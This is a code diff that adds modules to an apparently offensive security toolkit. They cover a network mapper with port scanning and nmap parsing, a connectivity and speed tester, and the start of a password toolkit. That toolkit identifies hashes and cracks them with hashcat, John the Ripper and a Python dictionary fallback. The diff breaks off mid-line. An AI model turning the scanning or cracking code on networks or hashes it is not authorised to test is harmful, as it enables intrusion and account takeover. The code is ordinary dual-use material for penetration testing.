+ if s.connect_ex((ip, port)) == 0: + open_ports.append({ + 'port': port, 'protocol': 'tcp', 'state': 'open', + 'service': self._guess_service(port), + }) + s.close() + except Exception: + pass + + host = Host(ip=ip, state='up', ports=open_ports, + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + return {'ok': True, 'host': host.to_dict()} + + # ── Topology / Scan Management ──────────────────────────────────────── + + def save_scan(self, name: str, hosts: List[dict]) -> dict: + """Save a network scan for later comparison.""" + scan = { + 'name': name, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'hosts': hosts, + 'host_count': len(hosts), + } + path = os.path.join(self._data_dir, f'scan_{name}_{int(time.time())}.json') + with open(path, 'w') as f: + json.dump(scan, f, indent=2) + return {'ok': True, 'path': path} + + def list_scans(self) -> List[dict]: + scans = [] + for f in Path(self._data_dir).glob('scan_*.json'): + try: + with open(f, 'r') as fh: + data = json.load(fh) + scans.append({ + 'file': f.name, + 'name': data.get('name', ''), + 'timestamp': data.get('timestamp', ''), + 'host_count': data.get('host_count', 0), + }) + except Exception: + continue + return sorted(scans, key=lambda s: s.get('timestamp', ''), reverse=True) + + def load_scan(self, filename: str) -> Optional[dict]: + path = os.path.join(self._data_dir, filename) + if os.path.exists(path): + with open(path, 'r') as f: + return json.load(f) + return None + + def diff_scans(self, scan1_file: str, scan2_file: str) -> dict: + """Compare two scans and find differences.""" + s1 = self.load_scan(scan1_file) + s2 = self.load_scan(scan2_file) + if not s1 or not s2: + return {'ok': False, 'error': 'Scan(s) not found'} + + ips1 = {h['ip'] for h in s1.get('hosts', [])} + ips2 = {h['ip'] for h in s2.get('hosts', [])} + + return { + 'ok': True, + 'new_hosts': sorted(ips2 - ips1), + 'removed_hosts': sorted(ips1 - ips2), + 'unchanged_hosts': sorted(ips1 & ips2), + 'scan1': {'name': s1.get('name'), 'timestamp': s1.get('timestamp'), + 'count': len(ips1)}, + 'scan2': {'name': s2.get('name'), 'timestamp': s2.get('timestamp'), + 'count': len(ips2)}, + } + + def get_job_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + result = {'ok': True, 'done': holder['done'], 'hosts': holder['hosts']} + if holder.get('error'): + result['error'] = holder['error'] + if holder['done']: + self._active_jobs.pop(job_id, None) + return result + + # ── Topology Data (for visualization) ───────────────────────────────── + + def build_topology(self, hosts: List[dict]) -> dict: + """Build topology graph data from host list for visualization.""" + nodes = [] + edges = [] + subnets = {} + + for h in hosts: + subnet = '.'.join(h['ip'].split('.')[:3]) + '.0/24' + if subnet not in subnets: + subnets[subnet] = { + 'id': f'subnet_{subnet}', 'label': subnet, + 'type': 'subnet', 'hosts': [], + } + subnets[subnet]['hosts'].append(h['ip']) + + node_type = 'host' + if h.get('ports'): + services = [p.get('service', '') for p in h['ports']] + if any('http' in s.lower() for s in services): + node_type = 'web' + elif any('ssh' in s.lower() for s in services): + node_type = 'server' + elif any('smb' in s.lower() or 'netbios' in s.lower() for s in services): + node_type = 'windows' + + nodes.append({ + 'id': h['ip'], + 'label': h.get('hostname') or h['ip'], + 'ip': h['ip'], + 'type': node_type, + 'os': h.get('os_guess', ''), + 'ports': len(h.get('ports', [])), + 'subnet': subnet, + }) + + # Edge from host to subnet gateway + gateway = '.'.join(h['ip'].split('.')[:3]) + '.1' + edges.append({'from': h['ip'], 'to': gateway, 'type': 'network'}) + + # Add subnet nodes + for subnet_data in subnets.values(): + nodes.append(subnet_data) + + return { + 'nodes': nodes, + 'edges': edges, + 'subnets': list(subnets.keys()), + 'total_hosts': len(hosts), + } + + # ── Helpers ─────────────────────────────────────────────────────────── + + def _expand_target(self, target: str) -> List[str]: + """Expand CIDR or range to list of IPs.""" + if '/' in target: + return self._cidr_to_ips(target) + if '-' in target.split('.')[-1]: + base = '.'.join(target.split('.')[:3]) + range_part = target.split('.')[-1] + if '-' in range_part: + start, end = range_part.split('-') + return [f'{base}.{i}' for i in range(int(start), int(end) + 1)] + return [target] + + @staticmethod + def _cidr_to_ips(cidr: str) -> List[str]: + parts = cidr.split('/') + if len(parts) != 2: + return [cidr] + ip = parts[0] + prefix = int(parts[1]) + if prefix < 16: + return [ip] # Too large, don't expand + ip_int = struct.unpack('!I', socket.inet_aton(ip))[0] + mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF + network = ip_int & mask + broadcast = network | (~mask & 0xFFFFFFFF) + return [socket.inet_ntoa(struct.pack('!I', i)) + for i in range(network + 1, broadcast)] + + def _parse_nmap_xml(self, xml_text: str) -> List[Host]: + """Parse nmap XML output to Host objects.""" + hosts = [] + try: + import xml.etree.ElementTree as ET + root = ET.fromstring(xml_text) + for host_el in root.findall('.//host'): + state = host_el.find('status') + if state is not None and state.get('state') != 'up': + continue + addr = host_el.find("address[@addrtype='ipv4']") + if addr is None: + continue + ip = addr.get('addr', '') + mac_el = host_el.find("address[@addrtype='mac']") + hostname_el = host_el.find('.//hostname') + os_el = host_el.find('.//osmatch') + + h = Host( + ip=ip, + mac=mac_el.get('addr', '') if mac_el is not None else '', + hostname=hostname_el.get('name', '') if hostname_el is not None else '', + os_guess=os_el.get('name', '') if os_el is not None else '', + subnet='.'.join(ip.split('.')[:3]) + '.0/24', + ) + + for port_el in host_el.findall('.//port'): + state_el = port_el.find('state') + if state_el is not None and state_el.get('state') == 'open': + svc_el = port_el.find('service') + h.ports.append({ + 'port': int(port_el.get('portid', 0)), + 'protocol': port_el.get('protocol', 'tcp'), + 'state': 'open', + 'service': svc_el.get('name', '') if svc_el is not None else '', + 'version': svc_el.get('version', '') if svc_el is not None else '', + }) + hosts.append(h) + except Exception: + pass + return hosts + + @staticmethod + def _guess_service(port: int) -> str: + services = { + 21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns', + 80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb', + 993: 'imaps', 995: 'pop3s', 3306: 'mysql', 3389: 'rdp', + 5432: 'postgresql', 5900: 'vnc', 6379: 'redis', 8080: 'http-alt', + 8443: 'https-alt', 27017: 'mongodb', + } + return services.get(port, '') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_net_mapper() -> NetMapper: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = NetMapper() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Network Mapper.""" + svc = get_net_mapper() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ NETWORK TOPOLOGY MAPPER ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Discover Hosts ║") + print("║ 2 — Scan Host (detailed) ║") + print("║ 3 — List Saved Scans ║") + print("║ 4 — Compare Scans ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + target = input(" Target (CIDR/range): ").strip() + if not target: + continue + print(" Discovering hosts...") + r = svc.discover_hosts(target) + if r.get('job_id'): + while True: + time.sleep(2) + s = svc.get_job_status(r['job_id']) + if s['done']: + hosts = s['hosts'] + print(f"\n Found {len(hosts)} hosts:") + for h in hosts: + ports = len(h.get('ports', [])) + print(f" {h['ip']:16s} {h.get('hostname',''):20s} " + f"{h.get('os_guess',''):20s} {ports} ports") + save = input("\n Save scan? (name/empty=skip): ").strip() + if save: + svc.save_scan(save, hosts) + print(f" Saved as: {save}") + break + elif choice == '2': + ip = input(" Host IP: ").strip() + if not ip: + continue + print(" Scanning...") + r = svc.scan_host(ip) + if r.get('ok'): + h = r['host'] + print(f"\n {h['ip']} — {h.get('os_guess', 'unknown OS')}") + for p in h.get('ports', []): + print(f" {p['port']:6d}/{p['protocol']} {p.get('service','')}" + f" {p.get('version','')}") + elif choice == '3': + scans = svc.list_scans() + if not scans: + print("\n No saved scans.") + continue + for s in scans: + print(f" {s['file']:40s} {s['name']:15s} " + f"{s['host_count']} hosts {s['timestamp'][:19]}") + elif choice == '4': + scans = svc.list_scans() + if len(scans) < 2: + print(" Need at least 2 saved scans.") + continue + for i, s in enumerate(scans, 1): + print(f" {i}. {s['file']} ({s['host_count']} hosts)") + a = int(input(" Scan 1 #: ").strip()) - 1 + b = int(input(" Scan 2 #: ").strip()) - 1 + diff = svc.diff_scans(scans[a]['file'], scans[b]['file']) + if diff.get('ok'): + print(f"\n New hosts: {len(diff['new_hosts'])}") + for h in diff['new_hosts']: + print(f" + {h}") + print(f" Removed hosts: {len(diff['removed_hosts'])}") + for h in diff['removed_hosts']: + print(f" - {h}") + print(f" Unchanged: {len(diff['unchanged_hosts'])}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/nettest.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/nettest.py new file mode 100644 index 0000000..b1edaf9 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/nettest.py @@ -0,0 +1,363 @@ +""" +AUTARCH Network Test Module +Test network speed and connectivity +""" + +import sys +import time +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors + +# Module metadata +NAME = "Network Test" +DESCRIPTION = "Test network speed and connectivity" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "utility" + +# Try to import optional dependencies +try: + import speedtest + HAS_SPEEDTEST = True +except ImportError: + HAS_SPEEDTEST = False + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +class NetworkTester: + """Network testing utility.""" + + def __init__(self): + self.test_urls = [ + ("Google", "https://www.google.com"), + ("Cloudflare", "https://1.1.1.1"), + ("GitHub", "https://github.com"), + ("Amazon", "https://aws.amazon.com"), + ] + + def test_connectivity(self) -> dict: + """Test basic internet connectivity. + + Returns: + Dict with connectivity results. + """ + if not HAS_REQUESTS: + return {'error': 'requests library not available'} + + print(f"{Colors.CYAN}[*] Testing connectivity...{Colors.RESET}") + + results = { + 'tests': [], + 'success_count': 0, + 'fail_count': 0, + } + + for name, url in self.test_urls: + try: + start = time.time() + response = requests.get(url, timeout=10) + elapsed = round((time.time() - start) * 1000) + + success = response.status_code == 200 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': success, + 'status': response.status_code, + 'time_ms': elapsed, + }) + + if success: + results['success_count'] += 1 + print(f" {Colors.GREEN}[+]{Colors.RESET} {name}: {elapsed}ms") + else: + results['fail_count'] += 1 + print(f" {Colors.RED}[-]{Colors.RESET} {name}: HTTP {response.status_code}") + + except requests.exceptions.Timeout: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': 'Timeout', + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: Timeout") + + except requests.exceptions.ConnectionError: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': 'Connection failed', + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: Connection failed") + + except Exception as e: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': str(e), + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: {str(e)}") + + return results + + def test_speed(self) -> dict: + """Test network speed using speedtest. + + Returns: + Dict with speed test results. + """ + if not HAS_SPEEDTEST: + return {'error': 'speedtest-cli library not available'} + + print(f"{Colors.CYAN}[*] Running speed test (this may take a minute)...{Colors.RESET}") + + try: + st = speedtest.Speedtest(secure=True) + + print(f" {Colors.DIM}Finding best server...{Colors.RESET}") + st.get_best_server() + + print(f" {Colors.DIM}Testing download speed...{Colors.RESET}") + st.download(threads=None) + + print(f" {Colors.DIM}Testing upload speed...{Colors.RESET}") + st.upload(threads=None) + + results = st.results.dict() + + return { + 'download_mbps': round(results['download'] / 1_000_000, 2), + 'upload_mbps': round(results['upload'] / 1_000_000, 2), + 'ping_ms': round(results['ping']), + 'client': { + 'ip': results.get('client', {}).get('ip'), + 'isp': results.get('client', {}).get('isp'), + 'country': results.get('client', {}).get('country'), + }, + 'server': { + 'name': results.get('server', {}).get('name'), + 'country': results.get('server', {}).get('country'), + 'sponsor': results.get('server', {}).get('sponsor'), + }, + } + + except Exception as e: + return {'error': f'Speed test failed: {str(e)}'} + + def test_dns(self, domain: str = "google.com") -> dict: + """Test DNS resolution. + + Args: + domain: Domain to resolve. + + Returns: + Dict with DNS test results. + """ + import socket + + print(f"{Colors.CYAN}[*] Testing DNS resolution...{Colors.RESET}") + + results = { + 'domain': domain, + 'resolved': False, + 'addresses': [], + } + + try: + start = time.time() + addrs = socket.getaddrinfo(domain, 80) + elapsed = round((time.time() - start) * 1000) + + results['resolved'] = True + results['time_ms'] = elapsed + results['addresses'] = list(set(addr[4][0] for addr in addrs)) + + print(f" {Colors.GREEN}[+]{Colors.RESET} Resolved {domain} in {elapsed}ms") + for addr in results['addresses'][:3]: + print(f" {Colors.DIM}{addr}{Colors.RESET}") + + except socket.gaierror as e: + results['error'] = f"DNS resolution failed: {e}" + print(f" {Colors.RED}[-]{Colors.RESET} DNS resolution failed") + + except Exception as e: + results['error'] = str(e) + print(f" {Colors.RED}[-]{Colors.RESET} Error: {e}") + + return results + + +def color_speed(value: float, thresholds: tuple) -> str: + """Color code speed values. + + Args: + value: Speed value. + thresholds: (low, medium) thresholds. + + Returns: + Colored string. + """ + low, medium = thresholds + if value < low: + return f"{Colors.RED}{value}{Colors.RESET}" + elif value < medium: + return f"{Colors.YELLOW}{value}{Colors.RESET}" + else: + return f"{Colors.GREEN}{value}{Colors.RESET}" + + +def display_speed_result(result: dict): + """Display speed test results nicely.""" + if 'error' in result: + print(f"\n{Colors.RED}[X] {result['error']}{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD} NETWORK SPEED TEST RESULTS{Colors.RESET}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}") + + # Download speed (low < 5 Mbps, medium < 25 Mbps) + download = result['download_mbps'] + download_colored = color_speed(download, (5, 25)) + print(f" {Colors.GREEN}Download:{Colors.RESET} {download_colored} Mbps") + + # Upload speed (low < 2 Mbps, medium < 10 Mbps) + upload = result['upload_mbps'] + upload_colored = color_speed(upload, (2, 10)) + print(f" {Colors.GREEN}Upload:{Colors.RESET} {upload_colored} Mbps") + + # Ping (low > 100ms, medium > 50ms, inverted) + ping = result['ping_ms'] + if ping > 100: + ping_colored = f"{Colors.RED}{ping}{Colors.RESET}" + elif ping > 50: + ping_colored = f"{Colors.YELLOW}{ping}{Colors.RESET}" + else: + ping_colored = f"{Colors.GREEN}{ping}{Colors.RESET}" + print(f" {Colors.GREEN}Ping:{Colors.RESET} {ping_colored} ms") + + # Client info + client = result.get('client', {}) + if client: + print(f"\n {Colors.CYAN}Your Connection:{Colors.RESET}") + if client.get('ip'): + print(f" IP: {client['ip']}") + if client.get('isp'): + print(f" ISP: {client['isp']}") + if client.get('country'): + print(f" Country: {client['country']}") + + # Server info + server = result.get('server', {}) + if server: + print(f"\n {Colors.CYAN}Test Server:{Colors.RESET}") + if server.get('sponsor'): + print(f" {server['sponsor']}") + if server.get('name'): + print(f" {server['name']}, {server.get('country', '')}") + + print() + + +def display_menu(): + """Display the network test module menu.""" + speedtest_status = f"{Colors.GREEN}Available{Colors.RESET}" if HAS_SPEEDTEST else f"{Colors.RED}Not installed{Colors.RESET}" + + print(f""" +{Colors.CYAN} Network Test{Colors.RESET} +{Colors.DIM} Test network speed and connectivity{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Test Connectivity (ping websites) + {Colors.GREEN}[2]{Colors.RESET} Full Speed Test [{speedtest_status}] + {Colors.GREEN}[3]{Colors.RESET} Test DNS Resolution + {Colors.GREEN}[4]{Colors.RESET} Run All Tests + + {Colors.RED}[0]{Colors.RESET} Back +""") + + +def run(): + """Main entry point for the module.""" + if not HAS_REQUESTS: + print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + tester = NetworkTester() + + while True: + display_menu() + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + results = tester.test_connectivity() + if 'error' not in results: + total = results['success_count'] + results['fail_count'] + print(f"\n{Colors.GREEN}[+] Connectivity: {results['success_count']}/{total} tests passed{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + if not HAS_SPEEDTEST: + print(f"\n{Colors.RED}[X] speedtest-cli library not installed{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install speedtest-cli{Colors.RESET}") + else: + results = tester.test_speed() + display_speed_result(results) + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.CYAN}Enter domain to resolve (default: google.com):{Colors.RESET}") + domain = input(f"{Colors.GREEN}Domain: {Colors.RESET}").strip() or "google.com" + tester.test_dns(domain) + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '4': + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD} RUNNING ALL NETWORK TESTS{Colors.RESET}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}\n") + + # Connectivity + print(f"{Colors.BOLD}1. Connectivity Test{Colors.RESET}") + conn_results = tester.test_connectivity() + + # DNS + print(f"\n{Colors.BOLD}2. DNS Resolution{Colors.RESET}") + tester.test_dns() + + # Speed test + if HAS_SPEEDTEST: + print(f"\n{Colors.BOLD}3. Speed Test{Colors.RESET}") + speed_results = tester.test_speed() + display_speed_result(speed_results) + else: + print(f"\n{Colors.BOLD}3. Speed Test{Colors.RESET}") + print(f" {Colors.RED}[-]{Colors.RESET} Skipped (speedtest-cli not installed)") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/password_toolkit.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/password_toolkit.py new file mode 100644 index 0000000..d6f966d --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/password_toolkit.py @@ -0,0 +1,796 @@ +"""AUTARCH Password Toolkit + +Hash identification, cracking (hashcat/john integration), password generation, +credential spray/stuff testing, wordlist management, and password policy auditing. +""" + +DESCRIPTION = "Password cracking & credential testing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import string +import secrets +import hashlib +import threading +import subprocess +from pathlib import Path +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Hash Type Signatures ────────────────────────────────────────────────────── + +@dataclass +class HashSignature: + name: str + regex: str + hashcat_mode: int + john_format: str + example: str + bits: int = 0 + + +HASH_SIGNATURES: List[HashSignature] = [ + HashSignature('MD5', r'^[a-fA-F0-9]{32}$', 0, 'raw-md5', 'd41d8cd98f00b204e9800998ecf8427e', 128), + HashSignature('SHA-1', r'^[a-fA-F0-9]{40}$', 100, 'raw-sha1', 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 160), + HashSignature('SHA-224', r'^[a-fA-F0-9]{56}$', 1300, 'raw-sha224', 'd14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f', 224), + HashSignature('SHA-256', r'^[a-fA-F0-9]{64}$', 1400, 'raw-sha256', 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 256), + HashSignature('SHA-384', r'^[a-fA-F0-9]{96}$', 10800,'raw-sha384', '38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b', 384), + HashSignature('SHA-512', r'^[a-fA-F0-9]{128}$', 1700, 'raw-sha512', 'cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e', 512), + HashSignature('NTLM', r'^[a-fA-F0-9]{32}$', 1000, 'nt', '31d6cfe0d16ae931b73c59d7e0c089c0', 128), + HashSignature('LM', r'^[a-fA-F0-9]{32}$', 3000, 'lm', 'aad3b435b51404eeaad3b435b51404ee', 128), + HashSignature('bcrypt', r'^\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}$', 3200, 'bcrypt', '$2b$12$LJ3m4ys3Lg2VBe5F.4oXzuLKmRPBRWvs5fS5K.zL1E8CfJzqS/VfO', 0), + HashSignature('scrypt', r'^\$7\$', 8900, 'scrypt', '', 0), + HashSignature('Argon2', r'^\$argon2(i|d|id)\$', 0, 'argon2', '', 0), + HashSignature('MySQL 4.1+', r'^\*[a-fA-F0-9]{40}$', 300, 'mysql-sha1', '*6C8989366EAF6BCBBAA855D6DA93DE65C96D33D9', 160), + HashSignature('SHA-512 Crypt', r'^\$6\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{86}$', 1800, 'sha512crypt', '', 0), + HashSignature('SHA-256 Crypt', r'^\$5\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{43}$', 7400, 'sha256crypt', '', 0), + HashSignature('MD5 Crypt', r'^\$1\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('DES Crypt', r'^[./A-Za-z0-9]{13}$', 1500, 'descrypt', '', 0), + HashSignature('APR1 MD5', r'^\$apr1\$', 1600, 'md5apr1', '', 0), + HashSignature('Cisco Type 5', r'^\$1\$[./A-Za-z0-9]{8}\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('Cisco Type 7', r'^[0-9]{2}[0-9A-Fa-f]+$', 0, '', '', 0), + HashSignature('PBKDF2-SHA256', r'^\$pbkdf2-sha256\$', 10900,'pbkdf2-hmac-sha256', '', 0), + HashSignature('Django SHA256', r'^pbkdf2_sha256\$', 10000,'django', '', 0), + HashSignature('CRC32', r'^[a-fA-F0-9]{8}$', 0, '', 'deadbeef', 32), +] + + +# ── Password Toolkit Service ───────────────────────────────────────────────── + +class PasswordToolkit: + """Hash identification, cracking, generation, and credential testing.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'password_toolkit') + self._wordlists_dir = os.path.join(self._data_dir, 'wordlists') + self._results_dir = os.path.join(self._data_dir, 'results') + os.makedirs(self._wordlists_dir, exist_ok=True) + os.makedirs(self._results_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Hash Identification ─────────────────────────────────────────────── + + def identify_hash(self, hash_str: str) -> List[dict]: + """Identify possible hash types for a given hash string.""" + hash_str = hash_str.strip() + matches = [] + for sig in HASH_SIGNATURES: + if re.match(sig.regex, hash_str): + matches.append({ + 'name': sig.name, + 'hashcat_mode': sig.hashcat_mode, + 'john_format': sig.john_format, + 'bits': sig.bits, + 'confidence': self._hash_confidence(hash_str, sig), + }) + # Sort by confidence + matches.sort(key=lambda m: {'high': 0, 'medium': 1, 'low': 2}.get(m['confidence'], 3)) + return matches + + def _hash_confidence(self, hash_str: str, sig: HashSignature) -> str: + """Estimate confidence of hash type match.""" + # bcrypt, scrypt, argon2, crypt formats are definitive + if sig.name in ('bcrypt', 'scrypt', 'Argon2', 'SHA-512 Crypt', + 'SHA-256 Crypt', 'MD5 Crypt', 'APR1 MD5', + 'PBKDF2-SHA256', 'Django SHA256', 'MySQL 4.1+'): + return 'high' + # Length-based can be ambiguous (MD5 vs NTLM vs LM) + if len(hash_str) == 32: + return 'medium' # Could be MD5, NTLM, or LM + if len(hash_str) == 8: + return 'low' # CRC32 vs short hex + return 'medium' + + def identify_batch(self, hashes: List[str]) -> List[dict]: + """Identify types for multiple hashes.""" + results = [] + for h in hashes: + h = h.strip() + if not h: + continue + ids = self.identify_hash(h) + results.append({'hash': h, 'types': ids}) + return results + + # ── Hash Cracking ───────────────────────────────────────────────────── + + def crack_hash(self, hash_str: str, hash_type: str = 'auto', + wordlist: str = '', attack_mode: str = 'dictionary', + rules: str = '', mask: str = '', + tool: str = 'auto') -> dict: + """Start a hash cracking job. + + attack_mode: 'dictionary', 'brute_force', 'mask', 'hybrid' + tool: 'hashcat', 'john', 'auto' (try hashcat first, then john) + """ + hash_str = hash_str.strip() + if not hash_str: + return {'ok': False, 'error': 'No hash provided'} + + # Auto-detect hash type if needed + if hash_type == 'auto': + ids = self.identify_hash(hash_str) + if not ids: + return {'ok': False, 'error': 'Could not identify hash type'} + hash_type = ids[0]['name'] + + # Find cracking tool + hashcat = find_tool('hashcat') + john = find_tool('john') + + if tool == 'auto': + tool = 'hashcat' if hashcat else ('john' if john else None) + elif tool == 'hashcat' and not hashcat: + return {'ok': False, 'error': 'hashcat not found'} + elif tool == 'john' and not john: + return {'ok': False, 'error': 'john not found'} + + if not tool: + # Fallback: Python-based dictionary attack (slow but works) + return self._python_crack(hash_str, hash_type, wordlist) + + # Default wordlist + if not wordlist: + wordlist = self._find_default_wordlist() + + job_id = f'crack_{int(time.time())}_{secrets.token_hex(4)}' + + if tool == 'hashcat': + return self._crack_hashcat(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + else: + return self._crack_john(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + + def _crack_hashcat(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using hashcat.""" + hashcat = find_tool('hashcat') + # Get hashcat mode + mode = 0 + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + mode = sig.hashcat_mode + break + + # Write hash to temp file + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + out_file = os.path.join(self._results_dir, f'{job_id}.pot') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [hashcat, '-m', str(mode), hash_file, '-o', out_file, '--potfile-disable'] + + attack_modes = {'dictionary': '0', 'brute_force': '3', 'mask': '3', 'hybrid': '6'} + cmd.extend(['-a', attack_modes.get(attack_mode, '0')]) + + if attack_mode in ('dictionary', 'hybrid') and wordlist: + cmd.append(wordlist) + if attack_mode in ('brute_force', 'mask') and mask: + cmd.append(mask) + elif attack_mode == 'brute_force' and not mask: + cmd.append('?a?a?a?a?a?a?a?a') # Default 8-char brute force + if rules: + cmd.extend(['-r', rules]) + + result_holder = {'result': None, 'done': False, 'process': None} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + result_holder['process'] = None + cracked = '' + if os.path.exists(out_file): + with open(out_file, 'r') as f: + cracked = f.read().strip() + result_holder['result'] = { + 'ok': True, + 'cracked': cracked, + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with hashcat (mode {mode})'} + + def _crack_john(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using John the Ripper.""" + john = find_tool('john') + fmt = '' + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + fmt = sig.john_format + break + + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [john, hash_file] + if fmt: + cmd.extend(['--format=' + fmt]) + if wordlist and attack_mode == 'dictionary': + cmd.extend(['--wordlist=' + wordlist]) + if rules: + cmd.extend(['--rules=' + rules]) + if attack_mode in ('mask', 'brute_force') and mask: + cmd.extend(['--mask=' + mask]) + + result_holder = {'result': None, 'done': False} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + # Get cracked results + show = subprocess.run([john, '--show', hash_file], + capture_output=True, text=True, timeout=10) + result_holder['result'] = { + 'ok': True, + 'cracked': show.stdout.strip() if show.stdout else '', + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with john ({fmt or "auto"})'} + + def _python_crack(self, hash_str: str, hash_type: str, + wordlist: str) -> dict: + """Fallback pure-Python dictionary crack for common hash types.""" + algo_map = { + 'MD5': 'md5', 'SHA-1': 'sha1', 'SHA-256': 'sha256', + 'SHA-512': 'sha512', 'SHA-224': 'sha224', 'SHA-384': 'sha384', + } + algo = algo_map.get(hash_type) + if not algo: + return {'ok': False, 'error': f'Python cracker does not support {hash_type}. Install hashcat or john.'} + + if not wordlist: + wordlist = self._find_default_wordlist() + if not wordlist or not os.path.exists(wordlist): + return {'ok': False, 'error': 'No wordlist available'} + + hash_lower = hash_str.lower() + tried = 0 + try: + with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f: + for line in f: + word = line.strip() + if not word: + continue + h = 